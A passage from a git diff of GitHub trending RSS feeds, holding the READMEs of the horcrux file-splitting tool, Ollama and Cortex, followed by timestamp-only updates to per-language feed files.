<pre><code>diary_1_of_5.horcrux diary_2_of_5.horcrux ... </code></pre> <p>Now you just need to disperse the horcruxes around the house on various USBs or online locations and hope you can recall where they all are!</p> <h3>Binding</h3> <p>To bind the horcruxes back into the original file just call</p> <pre><code>horcrux bind </code></pre> <p>in the directory containing the horcruxes (or pass the directory as an argument).</p> <h2>Installation</h2> <p>via homebrew:</p> <pre><code>brew install jesseduffield/horcrux/horcrux </code></pre> <p>via <a href="https://github.com/jesseduffield/horcrux/releases">binary release</a></p> <p>Example to install the latest release on Linux to <code>/usr/local/bin</code> (needs <a href="https://stedolan.github.io/jq/">jq</a>):</p> <pre><code class="language-bash">curl https://api.github.com/repos/jesseduffield/horcrux/releases/latest | \ jq '.assets[] | select(.browser_download_url | endswith("_Linux_x86_64.tar.gz")) | .browser_download_url' | \ xargs curl -Lo /tmp/horcrux.tar.gz &amp;&amp; \ tar xfz /tmp/horcrux.tar.gz -C /tmp &amp;&amp; \ rm /tmp/horcrux.tar.gz &amp;&amp; \ sudo mv /tmp/horcrux /usr/local/bin/horcrux </code></pre> <h2>Who this is for:</h2> <ul> <li>People who need to encrypt a big sensitive file like a diary and don't expect to remember any passwords years from now (but who paradoxically will be capable of remembering where they've hidden their horcruxes)</li> <li>People who want to transmit files across multiple channels to substantially reduce the ability for an attacker to intercept</li> <li>People named Tom Riddle</li> </ul> <h2>FAQ</h2> <p>Q) This isn't really in line with how horcruxes work in the harry potter universe!</p> <p>A) It's pretty close! You can't allow any one horcrux to be used to resurrect the original file (and why would you that would be useless) but you can allow two horcruxes to do it (so only off by one). Checkmate HP fans.</p> <p>Q) How does this work?</p> <p>A) This uses the <a href="https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing">Shamir Secret Sharing Scheme</a> to break an encryption key into parts that can be recombined to create the original key, but only requiring a certain threshold to do so. I've adapted Hashicorp's implementation from their <a href="https://github.com/hashicorp/vault">vault repo</a></p> <p>Q) How is the key generated</p> <p>A) Using the Go stdlib's crypto/rand <code>Read</code> function</p> <h2>You can help!</h2> <p>I don't have much time to work on Horcrux but I'm happy to review PRs. One issue you may want to tackle is <a href="https://github.com/jesseduffield/horcrux/issues/4">https://github.com/jesseduffield/horcrux/issues/4</a> which relates to data integrity.</p> <h2>Alternatives</h2> <ul> <li><a href="http://point-at-infinity.org/ssss/">ssss</a>. Works for keys but (as far as I know) not files themselves.</li> <li><a href="https://github.com/kndyry/horcrux">horcrux</a>. Looks like somebody beat me to both the name and concept, however this repo doesn't support thresholds of horcruxes</li> <li><a href="https://github.com/henrysdev/Haystack">Haystack</a>. Implements another file sharding and reassembly algorithm inspired by SSSS, but requires a password for reassembly and does not support thresholds of horcruxes.</li> </ul> <h2>Plugs</h2> <p>Also check out my other projects:</p> <ul> <li><a href="https://jesseduffield.com/">My hilarious blog</a></li> <li><a href="https://github.com/jesseduffield/ok">The <em>OK?</em> Programming Language</a></li> <li><a href="https://github.com/jesseduffield/lazygit">Lazygit</a></li> <li><a href="https://github.com/jesseduffield/lazydocker">Lazydocker</a></li> </ul> + jmorganca/ollama + 2023-09-20T01:30:44Z + tag:github.com,2023-09-20:/jmorganca/ollama + + <p>Get up and running with Llama 2 and other large language models locally</p><hr><div align="center"> <picture> <source media="(prefers-color-scheme: dark)" height="200px" srcset="https://github.com/jmorganca/ollama/assets/3325447/56ea1849-1284-4645-8970-956de6e51c3c"> <img alt="logo" height="200px" src="https://github.com/jmorganca/ollama/assets/3325447/0d0b44e2-8f4a-4e99-9b52-a5c1c741c8f7"> </picture> </div> <h1>Ollama</h1> <p><a href="https://discord.gg/ollama"><img src="https://dcbadge.vercel.app/api/server/ollama?style=flat&amp;compact=true" alt="Discord"></a></p> <p>Run, create, and share large language models (LLMs).</p> <blockquote> <p>Note: Ollama is in early preview. Please report any issues you find.</p> </blockquote> <h2>Download</h2> <ul> <li><a href="https://ollama.ai/download">Download</a> for macOS</li> <li>Download for Windows and Linux (coming soon)</li> <li>Build <a href="https://raw.githubusercontent.com/jmorganca/ollama/main/#building">from source</a></li> </ul> <h2>Quickstart</h2> <p>To run and chat with <a href="https://ai.meta.com/llama">Llama 2</a>, the new model by Meta:</p> <pre><code>ollama run llama2 </code></pre> <h2>Model library</h2> <p>Ollama supports a list of open-source models available on <a href="https://ollama.ai/library" title="ollama model library">ollama.ai/library</a></p> <p>Here are some example open-source models that can be downloaded:</p> <table> <thead> <tr> <th>Model</th> <th>Parameters</th> <th>Size</th> <th>Download</th> </tr> </thead> <tbody> <tr> <td>Llama2</td> <td>7B</td> <td>3.8GB</td> <td><code>ollama pull llama2</code></td> </tr> <tr> <td>Llama2 13B</td> <td>13B</td> <td>7.3GB</td> <td><code>ollama pull llama2:13b</code></td> </tr> <tr> <td>Llama2 70B</td> <td>70B</td> <td>39GB</td> <td><code>ollama pull llama2:70b</code></td> </tr> <tr> <td>Llama2 Uncensored</td> <td>7B</td> <td>3.8GB</td> <td><code>ollama pull llama2-uncensored</code></td> </tr> <tr> <td>Code Llama</td> <td>7B</td> <td>3.8GB</td> <td><code>ollama pull codellama</code></td> </tr> <tr> <td>Orca Mini</td> <td>3B</td> <td>1.9GB</td> <td><code>ollama pull orca-mini</code></td> </tr> <tr> <td>Vicuna</td> <td>7B</td> <td>3.8GB</td> <td><code>ollama pull vicuna</code></td> </tr> <tr> <td>Nous-Hermes</td> <td>7B</td> <td>3.8GB</td> <td><code>ollama pull nous-hermes</code></td> </tr> <tr> <td>Nous-Hermes 13B</td> <td>13B</td> <td>7.3GB</td> <td><code>ollama pull nous-hermes:13b</code></td> </tr> <tr> <td>Wizard Vicuna Uncensored</td> <td>13B</td> <td>7.3GB</td> <td><code>ollama pull wizard-vicuna</code></td> </tr> </tbody> </table> <blockquote> <p>Note: You should have at least 8 GB of RAM to run the 3B models, 16 GB to run the 7B models, and 32 GB to run the 13B models.</p> </blockquote> <h2>Examples</h2> <h3>Pull a public model</h3> <pre><code>ollama pull llama2 </code></pre> <blockquote> <p>This command can also be used to update a local model. Only updated changes will be pulled.</p> </blockquote> <h3>Run a model interactively</h3> <pre><code>ollama run llama2 &gt;&gt;&gt; hi Hello! How can I help you today? </code></pre> <p>For multiline input, you can wrap text with <code>"""</code>:</p> <pre><code>&gt;&gt;&gt; """Hello, ... world! ... """ I'm a basic program that prints the famous "Hello, world!" message to the console. </code></pre> <h3>Run a model non-interactively</h3> <pre><code>$ ollama run llama2 'tell me a joke' Sure! Here's a quick one: Why did the scarecrow win an award? Because he was outstanding in his field! </code></pre> <pre><code>$ cat &lt;&lt;EOF &gt;prompts.txt tell me a joke about llamas tell me another one EOF $ ollama run llama2 &lt;prompts.txt &gt;&gt;&gt; tell me a joke about llamas Why did the llama refuse to play hide-and-seek? nobody likes to be hided! &gt;&gt;&gt; tell me another one Sure, here's another one: Why did the llama go to the bar? To have a hay-often good time! </code></pre> <h3>Run a model on contents of a text file</h3> <pre><code>$ ollama run llama2 "summarize this file:" "$(cat README.md)" Ollama is a lightweight, extensible framework for building and running language models on the local machine. It provides a simple API for creating, running, and managing models, as well as a library of pre-built models that can be easily used in a variety of applications. </code></pre> <h3>Customize a model</h3> <p>Pull a base model:</p> <pre><code>ollama pull llama2 </code></pre> <p>Create a <code>Modelfile</code>:</p> <pre><code>FROM llama2 # set the temperature to 1 [higher is more creative, lower is more coherent] PARAMETER temperature 1 # set the system prompt SYSTEM """ You are Mario from Super Mario Bros. Answer as Mario, the assistant, only. """ </code></pre> <p>Next, create and run the model:</p> <pre><code>ollama create mario -f ./Modelfile ollama run mario &gt;&gt;&gt; hi Hello! It's your friend Mario. </code></pre> <p>For more examples, see the <a href="https://raw.githubusercontent.com/jmorganca/ollama/main/examples">examples</a> directory. For more information on creating a Modelfile, see the <a href="https://raw.githubusercontent.com/jmorganca/ollama/main/docs/modelfile.md">Modelfile</a> documentation.</p> <h3>Listing local models</h3> <pre><code>ollama list </code></pre> <h3>Removing local models</h3> <pre><code>ollama rm llama2 </code></pre> <h2>Model packages</h2> <h3>Overview</h3> <p>Ollama bundles model weights, configurations, and data into a single package, defined by a <a href="https://raw.githubusercontent.com/jmorganca/ollama/main/docs/modelfile.md">Modelfile</a>.</p> <picture> <source media="(prefers-color-scheme: dark)" height="480" srcset="https://github.com/jmorganca/ollama/assets/251292/2fd96b5f-191b-45c1-9668-941cfad4eb70"> <img alt="logo" height="480" src="https://github.com/jmorganca/ollama/assets/251292/2fd96b5f-191b-45c1-9668-941cfad4eb70"> </picture> <h2>Building</h2> <p>Install <code>cmake</code> and <code>go</code>:</p> <pre><code>brew install cmake brew install go </code></pre> <p>Then generate dependencies and build:</p> <pre><code>go generate ./... go build . </code></pre> <p>Next, start the server:</p> <pre><code>./ollama serve </code></pre> <p>Finally, in a separate shell, run a model:</p> <pre><code>./ollama run llama2 </code></pre> <h2>REST API</h2> <blockquote> <p>See the <a href="https://raw.githubusercontent.com/jmorganca/ollama/main/docs/api.md">API documentation</a> for all endpoints.</p> </blockquote> <p>Ollama has an API for running and managing models. For example to generate text from a model:</p> <pre><code>curl -X POST http://localhost:11434/api/generate -d '{ "model": "llama2", "prompt":"Why is the sky blue?" }' </code></pre> <h2>Community Projects using Ollama</h2> <table> <thead> <tr> <th>Project</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><a href="https://python.langchain.com/docs/integrations/llms/ollama">LangChain</a> and <a href="https://js.langchain.com/docs/modules/model_io/models/llms/integrations/ollama">LangChain.js</a></td> <td>Also, there is a question-answering <a href="https://js.langchain.com/docs/use_cases/question_answering/local_retrieval_qa">example</a>.</td> </tr> <tr> <td><a href="https://github.com/continuedev/continue">Continue</a></td> <td>Embeds Ollama inside Visual Studio Code. The extension lets you highlight code to add to the prompt, ask questions in the sidebar, and generate code inline.</td> </tr> <tr> <td><a href="https://github.com/BerriAI/litellm">LiteLLM</a></td> <td>Lightweight Python package to simplify LLM API calls.</td> </tr> <tr> <td><a href="https://github.com/mekb-turtle/discord-ai-bot">Discord AI Bot</a></td> <td>Interact with Ollama as a chatbot on Discord.</td> </tr> <tr> <td><a href="https://github.com/MassimilianoPasquini97/raycast_ollama">Raycast Ollama</a></td> <td>Raycast extension to use Ollama for local llama inference on Raycast.</td> </tr> <tr> <td><a href="https://github.com/rtcfirefly/ollama-ui">Simple HTML UI</a></td> <td>Also, there is a Chrome extension.</td> </tr> <tr> <td><a href="https://github.com/zweifisch/ollama">Emacs client</a></td> <td></td> </tr> </tbody> </table> + + + cortexproject/cortex + 2023-09-20T01:30:44Z + tag:github.com,2023-09-20:/cortexproject/cortex + + <p>A horizontally scalable, highly available, multi-tenant, long term Prometheus.</p><hr><p align="center"><img src="https://raw.githubusercontent.com/cortexproject/cortex/master/images/logo.png" alt="Cortex Logo"></p> <p><a href="https://github.com/cortexproject/cortex/actions"><img src="https://github.com/cortexproject/cortex/workflows/ci/badge.svg?sanitize=true" alt="CI"></a> <a href="https://godoc.org/github.com/cortexproject/cortex"><img src="https://godoc.org/github.com/cortexproject/cortex?status.svg?sanitize=true" alt="GoDoc"></a> <a href="https://goreportcard.com/report/github.com/cortexproject/cortex"><img src="https://goreportcard.com/badge/github.com/cortexproject/cortex" alt="Go Report Card"></a> <a href="https://cloud-native.slack.com/messages/cortex/"><img src="https://img.shields.io/badge/join%20slack-%23cortex-brightgreen.svg?sanitize=true" alt="Slack"></a> <a href="https://bestpractices.coreinfrastructure.org/projects/6681"><img src="https://bestpractices.coreinfrastructure.org/projects/6681/badge"></a> <a href="https://clomonitor.io/projects/cncf/cortex"><img src="https://img.shields.io/endpoint?url=https://clomonitor.io/api/projects/cncf/cortex/badge" alt="CLOMonitor"></a></p> <h1>Cortex: horizontally scalable, highly available, multi-tenant, long term storage for Prometheus.</h1> <p>Cortex provides horizontally scalable, highly available, multi-tenant, long term storage for <a href="https://prometheus.io">Prometheus</a>.</p> <ul> <li><strong>Horizontally scalable:</strong> Cortex can run across multiple machines in a cluster, exceeding the throughput and storage of a single machine. This enables you to send the metrics from multiple Prometheus servers to a single Cortex cluster and run "globally aggregated" queries across all data in a single place.</li> <li><strong>Highly available:</strong> When run in a cluster, Cortex can replicate data between machines. This allows you to survive machine failure without gaps in your graphs.</li> <li><strong>Multi-tenant:</strong> Cortex can isolate data and queries from multiple different independent Prometheus sources in a single cluster, allowing untrusted parties to share the same cluster.</li> <li><strong>Long term storage:</strong> Cortex supports S3, GCS, Swift and Microsoft Azure for long term storage of metric data. This allows you to durably store data for longer than the lifetime of any single machine, and use this data for long term capacity planning.</li> </ul> <p>Cortex is a <a href="https://cncf.io">CNCF</a> incubation project used in several production systems including <a href="https://aws.amazon.com/prometheus/">Amazon Managed Service for Prometheus (AMP)</a>.</p> <p>Cortex is primarily used as a <a href="https://prometheus.io/docs/operating/configuration/#remote_write">remote write</a> destination for Prometheus, with a Prometheus-compatible query API.</p> <h2>Chunk Storage Deprecation Notice</h2> <p>The chunks storage is deprecated since v1.10.0. You're encouraged to use the <a href="https://raw.githubusercontent.com/cortexproject/cortex/master/docs/blocks-storage/_index.md">blocks storage</a>.</p> <p>Chunks storage was removed in release 1.14.0</p> <h2>Documentation</h2> <p>Read the <a href="https://cortexmetrics.io/docs/getting-started">getting started guide</a> if you're new to the project. Before deploying Cortex with a permanent storage backend you should read:</p> <ol> <li><a href="https://cortexmetrics.io/docs/architecture/">An overview of Cortex's architecture</a></li> <li><a href="https://cortexmetrics.io/docs/getting-started/">Getting started with Cortex</a></li> <li><a href="https://cortexmetrics.io/docs/configuration/">Information regarding configuring Cortex</a></li> </ol> <p>There are also individual <a href="https://cortexmetrics.io/docs/guides/">guides</a> to many tasks. Please review the important <a href="https://cortexmetrics.io/docs/guides/security/">security advice</a> before deploying.</p> <p>For a guide to contributing to Cortex, see the <a href="https://cortexmetrics.io/docs/contributing/">contributor guidelines</a>.</p> <h2>Further reading</h2> <p>To learn more about Cortex, consult the following talks and articles.</p> <h3>Talks and articles</h3> <ul> <li>Apr 2023 KubeCon talk "How to Run a Rock Solid Multi-Tenant Prometheus" (<a href="https://youtu.be/Pl5hEoRPLJU">video</a>, <a href="https://static.sched.com/hosted_files/kccnceu2023/49/Kubecon2023.pptx.pdf">slides</a>)</li> <li>Oct 2022 KubeCon talk "Current State and the Future of Cortex" (<a href="https://youtu.be/u1SfBAGWHgQ">video</a>, <a href="https://static.sched.com/hosted_files/kccncna2022/93/KubeCon%20%2B%20CloudNativeCon%20NA%202022%20PowerPoint%20-%20Cortex.pdf">slides</a>)</li> <li>Oct 2021 KubeCon talk "Cortex: Intro and Production Tips" (<a href="https://youtu.be/zNE_kGcUGuI">video</a>, <a href="https://static.sched.com/hosted_files/kccncna2021/8e/KubeCon%202021%20NA%20Cortex%20Maintainer.pdf">slides</a>)</li> <li>Dec 2020 blog post "<a href="https://aws.amazon.com/blogs/opensource/how-aws-and-grafana-labs-are-scaling-cortex-for-the-cloud/">How AWS and Grafana Labs are scaling Cortex for the cloud</a>"</li> <li>Oct 2020 blog post "<a href="https://grafana.com/blog/2020/10/19/how-to-switch-cortex-from-chunks-to-blocks-storage-and-why-you-wont-look-back/">How to switch Cortex from chunks to blocks storage (and why you won’t look back)</a>"</li> <li>Oct 2020 blog post "<a href="https://grafana.com/blog/2020/10/06/now-ga-cortex-blocks-storage-for-running-prometheus-at-scale-with-reduced-operational-complexity/">Now GA: Cortex blocks storage for running Prometheus at scale with reduced operational complexity</a>"</li> <li>Sep 2020 blog post "<a href="https://www.weave.works/blog/a-tale-of-tail-latencies">A Tale of Tail Latencies</a>"</li> <li>Sep 2020 KubeCon talk "Scaling Prometheus: How We Got Some Thanos Into Cortex" (<a href="https://www.youtube.com/watch?v=Z5OJzRogAS4">video</a>, <a href="https://static.sched.com/hosted_files/kccnceu20/ec/2020-08%20-%20KubeCon%20EU%20-%20Cortex%20blocks%20storage.pdf">slides</a>)</li> <li>Aug 2020 blog post "<a href="https://grafana.com/blog/2020/08/12/scaling-prometheus-how-were-pushing-cortex-blocks-storage-to-its-limit-and-beyond/">Scaling Prometheus: How we’re pushing Cortex blocks storage to its limit and beyond</a>"</li> <li>Jul 2020 blog post "<a href="https://grafana.com/blog/2020/07/29/how-blocks-storage-in-cortex-reduces-operational-complexity-for-running-prometheus-at-massive-scale/">How blocks storage in Cortex reduces operational complexity for running Prometheus at massive scale</a>"</li> <li>Jul 2020 PromCon talk "Sharing is Caring: Leveraging Open Source to Improve Cortex &amp; Thanos" (<a href="https://www.youtube.com/watch?v=2oTLouUvsac">video</a>, <a href="https://docs.google.com/presentation/d/1OuKYD7-k9Grb7unppYycdmVGWN0Bo0UwdJRySOoPdpg/edit">slides</a>)</li> <li>Mar 2020 blog post "<a href="https://kenhaines.net/cortex-zone-aware-replication/">Cortex: Zone Aware Replication</a>"</li> <li>Mar 2020 blog post "<a href="https://grafana.com/blog/2020/03/25/how-were-using-gossip-to-improve-cortex-and-loki-availability/">How we're using gossip to improve Cortex and Loki availability</a>"</li> <li>Jan 2020 blog post "[The Future of Cortex: Into the Next Decade][https://grafana.com/blog/2020/01/21/the-future-of-cortex-into-the-next-decade/]"</li> <li>Nov 2019 KubeCon talks "<a href="https://kccncna19.sched.com/event/UaiH/cortex-101-horizontally-scalable-long-term-storage-for-prometheus-chris-marchbanks-splunk">Cortex 101: Horizontally Scalable Long Term Storage for Prometheus</a>" (<a href="https://www.youtube.com/watch?v=f8GmbH0U_kI">video</a>, <a href="https://static.sched.com/hosted_files/kccncna19/92/cortex_101.pdf">slides</a>), "<a href="https://kccncna19.sched.com/event/UagC/performance-tuning-and-day-2-operations-goutham-veeramachaneni-grafana-labs">Configuring Cortex for Max Performance</a>" (<a href="https://www.youtube.com/watch?v=VuE5aDHDexU">video</a>, <a href="https://static.sched.com/hosted_files/kccncna19/87/Taming%20Cortex_%20Configuring%20for%20maximum%20performance%281%29.pdf">slides</a>, <a href="https://grafana.com/blog/2019/12/02/kubecon-recap-configuring-cortex-for-maximum-performance-at-scale/">write up</a>) and "<a href="https://kccncna19.sched.com/event/UaWT/blazin-fast-promql-tom-wilkie-grafana-labs">Blazin’ Fast PromQL</a>" (<a href="https://static.sched.com/hosted_files/kccncna19/0b/2019-11%20Blazin%27%20Fast%20PromQL.pdf">slides</a>, <a href="https://www.youtube.com/watch?v=yYgdZyeBOck">video</a>, <a href="https://grafana.com/blog/2019/09/19/how-to-get-blazin-fast-promql/">write up</a>)</li> <li>Nov 2019 PromCon talk "<a href="https://promcon.io/2019-munich/talks/two-households-both-alike-in-dignity-cortex-and-thanos/">Two Households, Both Alike in Dignity: Cortex and Thanos</a>" (<a href="https://www.youtube.com/watch?v=KmJnmd3K3Ws&amp;feature=youtu.be">video</a>, <a href="https://promcon.io/2019-munich/slides/two-households-both-alike-in-dignity-cortex-and-thanos.pdf">slides</a>, <a href="https://grafana.com/blog/2019/11/21/promcon-recap-two-households-both-alike-in-dignity-cortex-and-thanos/">write up</a>)</li> <li>May 2019 KubeCon talks; "<a href="https://kccnceu19.sched.com/event/MPhX/intro-cortex-tom-wilkie-grafana-labs-bryan-boreham-weaveworks">Cortex: Intro</a>" (<a href="https://www.youtube.com/watch?v=_7Wnta-3-W0">video</a>, <a href="https://static.sched.com/hosted_files/kccnceu19/af/Cortex%20Intro%20KubeCon%20EU%202019.pdf">slides</a>, <a href="https://grafana.com/blog/2019/05/21/grafana-labs-at-kubecon-the-latest-on-cortex/">blog post</a>) and "<a href="https://kccnceu19.sched.com/event/MPjK/deep-dive-cortex-tom-wilkie-grafana-labs-bryan-boreham-weaveworks">Cortex: Deep Dive</a>" (<a href="https://www.youtube.com/watch?v=mYyFT4ChHio">video</a>, <a href="https://static.sched.com/hosted_files/kccnceu19/52/Cortex%20Deep%20Dive%20KubeCon%20EU%202019.pdf">slides</a>)</li> <li>Feb 2019 blog post &amp; podcast; "<a href="https://www.weave.works/blog/prometheus-scalability-with-bryan-boreham">Prometheus Scalability with Bryan Boreham</a>" (<a href="https://softwareengineeringdaily.com/2019/01/21/prometheus-scalability-with-bryan-boreham/">podcast</a>)</li> <li>Feb 2019 blog post; "<a href="https://www.weave.works/blog/how-aspen-mesh-runs-cortex-in-production">How Aspen Mesh Runs Cortex in Production</a>"</li> <li>Dec 2018 KubeCon talk; "<a href="https://kccna18.sched.com/event/GrXL/cortex-infinitely-scalable-prometheus-bryan-boreham-weaveworks">Cortex: Infinitely Scalable Prometheus</a>" (<a href="https://www.youtube.com/watch?v=iyN40FsRQEo">video</a>, <a href="https://static.sched.com/hosted_files/kccna18/9b/Cortex%20CloudNativeCon%202018.pdf">slides</a>)</li> <li>Dec 2018 CNCF blog post; "<a href="https://www.cncf.io/blog/2018/12/18/cortex-a-multi-tenant-horizontally-scalable-prometheus-as-a-service/">Cortex: a multi-tenant, horizontally scalable Prometheus-as-a-Service</a>"</li> <li>Nov 2018 CloudNative London meetup talk; "Cortex: Horizontally Scalable, Highly Available Prometheus" (<a href="https://www.slideshare.net/grafana/cortex-horizontally-scalable-highly-available-prometheus">slides</a>)</li> <li>Nov 2018 CNCF TOC Presentation; "Horizontally Scalable, Multi-tenant Prometheus" (<a href="https://docs.google.com/presentation/d/190oIFgujktVYxWZLhLYN4q8p9dtQYoe4sxHgn4deBSI/edit#slide=id.g3b8e2d6f7e_0_6">slides</a>)</li> <li>Sept 2018 blog post; "<a href="https://medium.com/weaveworks/what-is-cortex-2c30bcbd247d">What is Cortex?</a>"</li> <li>Aug 2018 PromCon panel; "<a href="https://promcon.io/2018-munich/talks/panel-discussion-prometheus-long-term-storage-approaches/">Prometheus Long-Term Storage Approaches</a>" (<a href="https://www.youtube.com/watch?v=3pTG_N8yGSU">video</a>)</li> <li>Jul 2018 design doc; "<a href="https://docs.google.com/document/d/1lsvSkv0tiAMPQv-V8vI2LZ8f4i9JuTRsuPI_i-XcAqY">Cortex Query Optimisations</a>"</li> <li>Aug 2017 PromCon talk; "<a href="https://promcon.io/2017-munich/talks/cortex-prometheus-as-a-service-one-year-on/">Cortex: Prometheus as a Service, One Year On</a>" (<a href="https://www.youtube.com/watch?v=_8DmPW4iQBQ">videos</a>, <a href="https://promcon.io/2017-munich/slides/cortex-prometheus-as-a-service-one-year-on.pdf">slides</a>, write up <a href="https://kausal.co/blog/cortex-prometheus-aas-promcon-1/">part 1</a>, <a href="https://kausal.co/blog/cortex-prometheus-aas-promcon-2/">part 2</a>, <a href="https://kausal.co/blog/cortex-prometheus-aas-promcon-3/">part 3</a>)</li> <li>Jun 2017 Prometheus London meetup talk; "Cortex: open-source, horizontally-scalable, distributed Prometheus" (<a href="https://www.youtube.com/watch?v=Xi4jq2IUbLs">video</a>)</li> <li>Dec 2016 KubeCon talk; "Weave Cortex: Multi-tenant, horizontally scalable Prometheus as a Service" (<a href="https://www.youtube.com/watch?v=9Uctgnazfwk">video</a>, <a href="http://www.slideshare.net/weaveworks/weave-cortex-multitenant-horizontally-scalable-prometheus-as-a-service">slides</a>)</li> <li>Aug 2016 PromCon talk; "Project Frankenstein: Multitenant, Scale-Out Prometheus": (<a href="https://youtu.be/3Tb4Wc0kfCM">video</a>, <a href="http://www.slideshare.net/weaveworks/project-frankenstein-a-multitenant-horizontally-scalable-prometheus-as-a-service">slides</a>)</li> <li>Jun 2016 design document; "<a href="http://goo.gl/prdUYV">Project Frankenstein: A Multi Tenant, Scale Out Prometheus</a>"</li> </ul> <h2><a name="help"></a>Getting Help</h2> <p>If you have any questions about Cortex:</p> <ul> <li>Ask a question on the <a href="https://cloud-native.slack.com/messages/cortex/">Cortex Slack channel</a>. To invite yourself to the CNCF Slack, visit <a href="http://slack.cncf.io/">http://slack.cncf.io/</a>.</li> <li><a href="https://github.com/cortexproject/cortex/issues/new">File an issue.</a></li> <li>Send an email to <a href="mailto:cortex-users@lists.cncf.io"></a><a href="mailto:cortex-users@lists.cncf.io">cortex-users@lists.cncf.io</a></li> </ul> <p>Your feedback is always welcome.</p> <p>For security issues see <a href="https://github.com/cortexproject/cortex/security/policy">https://github.com/cortexproject/cortex/security/policy</a></p> <h2>Community Meetings</h2> <p>The Cortex community call happens every two weeks on Thursday, alternating at 1200 UTC and 1700 UTC. Meeting notes are held <a href="https://docs.google.com/document/d/1shtXSAqp3t7fiC-9uZcKkq3mgwsItAJlH6YW6x1joZo/edit">here</a>.</p> <p>To see meeting calendar:</p> <ul> <li>See the calendar <a href="https://calendar.google.com/calendar/u/0/embed?src=cncf-cortex-maintainers@lists.cncf.io&amp;ctz=UTC">in your browser (time zone will be UTC)</a>.</li> <li>If you use Google Calendar, <a href="https://calendar.google.com/calendar/u/0?cid=Y25jZi1jb3J0ZXgtbWFpbnRhaW5lcnNAbGlzdHMuY25jZi5pbw">add the Cortex's calendar to your own Google Calendar</a>.</li> <li>You can also just <a href="https://calendar.google.com/calendar/ical/cncf-cortex-maintainers%40lists.cncf.io/public/basic.ics">download the .ics file</a>.</li> </ul> <h2>Hosted Cortex (Prometheus as a service)</h2> <p>There are several commercial services where you can use Cortex on-demand:</p> <h3>Amazon Managed Service for Prometheus (AMP)</h3> <p><a href="https://aws.amazon.com/prometheus/">Amazon Managed Service for Prometheus (AMP)</a> is a Prometheus-compatible monitoring service that makes it easy to monitor containerized applications at scale. It is a highly available, secure, and managed monitoring for your containers. Get started <a href="https://console.aws.amazon.com/prometheus/home">here</a>. To learn more about the AMP, reference our <a href="https://docs.aws.amazon.com/prometheus/latest/userguide/what-is-Amazon-Managed-Service-Prometheus.html">documentation</a> and <a href="https://aws.amazon.com/blogs/mt/getting-started-amazon-managed-service-for-prometheus/">Getting Started with AMP blog</a>.</p> <h2>Emeritus Maintainers</h2> <ul> <li>Peter Štibraný @pstibrany</li> <li>Marco Pracucci @pracucci</li> <li>Bryan Boreham @bboreham</li> <li>Goutham Veeramachaneni @gouthamve</li> <li>Jacob Lisi @jtlisi</li> <li>Tom Wilkie @tomwilkie</li> </ul> <h2>History of Cortex</h2> <p>The Cortex project was started by Tom Wilkie (Grafana Labs' VP Product) and Julius Volz (Prometheus' co-founder) in June 2016.</p> \ No newline at end of file diff --git a/golo/daily/index.xml b/golo/daily/index.xml index c3483ec0fa7..7a1ca187077 100644 --- a/golo/daily/index.xml +++ b/golo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Golo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:16Z + 2023-09-20T01:30:57Z Daily Trending of Golo in GitHub \ No newline at end of file diff --git a/gosu/daily/index.xml b/gosu/daily/index.xml index b9499134f85..ed5a7e9aaef 100644 --- a/gosu/daily/index.xml +++ b/gosu/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gosu Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:17Z + 2023-09-20T01:30:54Z Daily Trending of Gosu in GitHub \ No newline at end of file diff --git a/grace/daily/index.xml b/grace/daily/index.xml index 122c4d9c7e7..115927a1a6f 100644 --- a/grace/daily/index.xml +++ b/grace/daily/index.xml @@ -1,7 +1,7 @@ GitHub Grace Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:19Z + 2023-09-20T01:31:00Z Daily Trending of Grace in GitHub \ No newline at end of file diff --git a/gradle/daily/index.xml b/gradle/daily/index.xml index 9fc7a07a4ef..f28900315e0 100644 --- a/gradle/daily/index.xml +++ b/gradle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gradle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:20Z + 2023-09-20T01:31:01Z Daily Trending of Gradle in GitHub \ No newline at end of file diff --git a/grammatical-framework/daily/index.xml b/grammatical-framework/daily/index.xml index eccc41551f2..9dae8532bbd 100644 --- a/grammatical-framework/daily/index.xml +++ b/grammatical-framework/daily/index.xml @@ -1,7 +1,7 @@ GitHub Grammatical Framework Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:21Z + 2023-09-20T01:30:59Z Daily Trending of Grammatical Framework in GitHub \ No newline at end of file diff --git a/graph-modeling-language/daily/index.xml b/graph-modeling-language/daily/index.xml index 9c377a4c6e9..83aac90cf64 100644 --- a/graph-modeling-language/daily/index.xml +++ b/graph-modeling-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Graph Modeling Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:23Z + 2023-09-20T01:31:02Z Daily Trending of Graph Modeling Language in GitHub \ No newline at end of file diff --git a/graphql/daily/index.xml b/graphql/daily/index.xml index 0527f3edc6d..6926dbb01d3 100644 --- a/graphql/daily/index.xml +++ b/graphql/daily/index.xml @@ -1,7 +1,7 @@ GitHub GraphQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:25Z + 2023-09-20T01:31:03Z Daily Trending of GraphQL in GitHub \ No newline at end of file diff --git a/graphviz-(dot)/daily/index.xml b/graphviz-(dot)/daily/index.xml index e5363d99277..60148320ebf 100644 --- a/graphviz-(dot)/daily/index.xml +++ b/graphviz-(dot)/daily/index.xml @@ -1,7 +1,7 @@ GitHub Graphviz (DOT) Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:24Z + 2023-09-20T01:31:04Z Daily Trending of Graphviz (DOT) in GitHub \ No newline at end of file diff --git a/groovy-server-pages/daily/index.xml b/groovy-server-pages/daily/index.xml index d3b5c78fce9..35152abc4c6 100644 --- a/groovy-server-pages/daily/index.xml +++ b/groovy-server-pages/daily/index.xml @@ -1,7 +1,7 @@ GitHub Groovy Server Pages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:30Z + 2023-09-20T01:31:07Z Daily Trending of Groovy Server Pages in GitHub \ No newline at end of file diff --git a/groovy/daily/index.xml b/groovy/daily/index.xml index 